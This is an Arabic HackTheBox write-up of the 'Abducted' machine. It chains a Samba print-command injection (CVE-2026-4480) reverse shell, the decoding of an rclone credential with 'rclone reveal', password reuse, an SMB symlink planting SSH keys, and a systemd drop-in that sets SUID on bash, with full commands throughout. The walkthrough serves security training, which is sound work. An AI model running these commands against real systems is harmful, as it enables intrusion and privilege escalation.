
🔴 HackTheBox Abducted (متوسط) — CVE-2026-4480 (Samba %J) → كشف rclone → SMB-Symlink → systemd Drop-in → Root
مستوى الصعوبة: متوسط · نظام التشغيل: Linux · الفئة: Samba CVE / تصعيد الامتيازات
بواسطة @timgad794
Abducted تحاكي خادم ملفات وطباعة محليًا مخترقًا في بيئة خدمات مهنية. تربط هذه الآلة بين ثغرة النظام الفرعي للطباعة في Samba (CVE-2026-4480)، وتسريب بيانات اعتماد rclone، وهجوم الرابط الرمزي SMB، وتصعيد الامتيازات عبر systemd drop-in.
سلسلة الاستغلال:
Recon (nmap) → SMB enum (HP-Reception printer share)
→ CVE-2026-4480 (Samba %J command injection) → RCE as nobody
→ /opt/offsite-backup/rclone.conf (obfuscated password)
→ rclone reveal → cleartext password
→ SSH as scott → User Flag
→ SMB symlink via "wide links" + "force user = marcus" → SSH as marcus
→ systemd drop-in (smbd.service.d) → SUID bash → root
فحص Nmap الأولي: فحص Nmap
صدفة عكسية بصلاحيات nobody: صدفة عكسية
صدفة جذر باستخدام bash بصلاحيات SUID: صدفة جذر
echo "10.129.244.177 abducted.htb" | sudo tee -a /etc/hosts
nmap abducted.htb -sCV -A -oN abducted-nmap.txt
النتائج:
| المنفذ | الخدمة | الإصدار |
|---|---|---|
| 22/tcp | SSH | OpenSSH 9.6p1 Ubuntu |
| 139/tcp | netbios-ssn | Samba smbd 4 |
| 445/tcp | netbios-ssn | Samba smbd 4 |
3 منافذ TCP مفتوحة — خادم ملفات وطباعة يعمل بنظام Linux.
smbclient -L //abducted.htb -N
المخرجات:
Sharename Type Comment
--------- ---- -------
HP-Reception Printer Reception printer
projects Disk Hartley Group Project Files
transfer Disk Staff file transfer
IPC$ IPC IPC Service (Hartley Group Document Services)
النتائج الرئيسية:
HP-Reception — مشاركة طابعة مع وصول الضيوفtransfer — مشاركة نقل الملفات (تُستخدم لاحقًا لهجوم الرابط الرمزي)يمرر Samba وصف مهمة الطباعة الذي يتحكم فيه العميل إلى print command عبر العنصر النائب %J دون تهريب محارف shell الوصفية. وهذا يسمح للمهاجمين غير المصادق عليهم بتنفيذ أوامر عشوائية بصلاحيات حساب خدمة الطباعة.
git clone https://github.com/TheCyberGeek/CVE-2026-4480-PoC.git
cd CVE-2026-4480-PoC
cat exploit.py | head -30
الطرفية A:
nc -lvnp 8443
الطرفية B:
cd ~/CVE-2026-4480-PoC
python3 exploit.py 10.129.244.177 10.10.16.96 8443 -P HP-Reception
المخرجات المتوقعة:
[*] target : 10.129.244.177 (\\10.129.244.177\HP-Reception)
[*] callback : 10.10.16.96:8443
[+] print job submitted -- check your listener
الطرفية A:
Connection received on 10.129.244.177 ...
nobody@abducted:/var/spool/samba$
لدينا الآن RCE بصفتنا nobody (uid=65534).
id
# uid=65534(nobody) gid=65534(nogroup)
cat /etc/passwd | grep -E "bash|sh$"
# → root, scott, marcus
find / -type f -name "rclone.conf" 2>/dev/null
# → /opt/offsite-backup/rclone.conf
cat /opt/offsite-backup/rclone.conf
المخرجات:
[offsite]
type = sftp
host = backup.hartley-group.internal
user = svc-backup
pass = HZKAxfnMj-nLm59X9gpcC2ohjQL-WqVT6yRsNw
shell_type = unix
يستخدم rclone تشويش base64 قابلًا للعكس. استخدم rclone نفسه:
# On Kali (not inside the shell)
sudo apt install -y rclone
rclone reveal HZKAxfnMj-nLm59X9gpcC2ohjQL-WqVT6yRsNw
المخرجات:
iXzvcib3SrpZ
scottssh [email protected]
# Password: iXzvcib3SrpZ
تم تسجيل الدخول بنجاح!
id
# uid=1000(scott) gid=1001(scott)
cat ~/user.txt
# 🟢 User Flag
scott → marcusيحتوي المشاركة transfer في /etc/samba/shares.conf على:
[transfer]
path = /srv/transfer
force user = marcus
wide links = yes
...
المعنى:
force user = marcus — تُنفَّذ كل عمليات الملفات بصفة marcuswide links = yes — يجوز أن تشير الروابط الرمزية إلى خارج دليل المشاركةبصفتك scott في جلسة SSH:
# SSH keypair in scott's home (not /tmp — nobody owns files there)
ssh-keygen -q -t ed25519 -N '' -f ~/k
# Symlink to marcus's home
ln -s /home/marcus /srv/transfer/keys
# Upload public key — ABSOLUTE paths required (smbclient does not expand tilde)
smbclient //127.0.0.1/transfer -U 'scott%iXzvcib3SrpZ' \
-c 'put /home/scott/k.pub keys/.ssh/authorized_keys'
التحقق:
smbclient //127.0.0.1/transfer -U 'scott%iXzvcib3SrpZ' \
-c 'get keys/.ssh/authorized_keys /tmp/ak'
diff /tmp/ak /home/scott/k.pub && echo "KEYS MATCH"
ssh -i /home/scott/k -o StrictHostKeyChecking=no marcus@localhost
id
# → uid=1001(marcus) groups=1002(marcus),1000(operators)
مهم: operators هي المجموعة الأساسية للتصعيد.
marcus → rootfind / -group operators 2>/dev/null
# → /etc/systemd/system/smbd.service.d
ls -ld /etc/systemd/system/smbd.service.d/
# drwxrws--- 2 root operators
تمتلك مجموعة operators صلاحية الكتابة إلى دليل الإدراج systemd الخاص بخدمة smbd.
بصفتك marcus:
cat > /etc/systemd/system/smbd.service.d/daffy.conf << 'EOF'
[Service]
ExecStartPre=/bin/bash -c 'chmod +s /bin/bash'
EOF
إعادة التحميل + إعادة التشغيل (يسمح polkit لـ operators بتشغيل daemon-reload دون كلمة مرور):
systemctl daemon-reload
systemctl restart smbd
/bin/bash -p
id
# → euid=0(root)
cat /root/root.txt
# 🔴 Root Flag
تم اختراق الصندوق بالكامل. ✅
| العلم | المسار |
|---|---|
| 🟢 المستخدم | /home/scott/user.txt |
| 🔴 الجذر | /root/root.txt |
| المفهوم | التطبيق |
|---|---|
| CVE-2026-4480 | حقن أمر الطباعة %J في Samba ← تنفيذ تعليمات عن بُعد (RCE) |
| إزالة التمويه في rclone | rclone reveal لإزالة تمويه base64 القابل للعكس |
| إعادة استخدام كلمة المرور | كلمة مرور svc-backup تعمل أيضًا مع scott |
| هجوم الرابط الرمزي SMB | wide links = yes + force user = marcus |
| اختطاف Drop-in في systemd | صلاحية الكتابة على smbd.service.d ← ExecStartPre |
| SUID Bash | chmod +s /bin/bash + /bin/bash -p ← euid=0 |
| تجاوز polkit | مجموعة operators يمكنها تنفيذ daemon-reload دون مصادقة |
يوثّق هذا التقرير اختبار اختراق مُصرَّح به على منصة HackTheBox فقط. جميع بيانات الاعتماد والأعلام هي جزء من بيئة المختبر وليست أنظمة إنتاج.
⭐ إذا ساعدك هذا التقرير، فلا تتردد في ترك نجمة!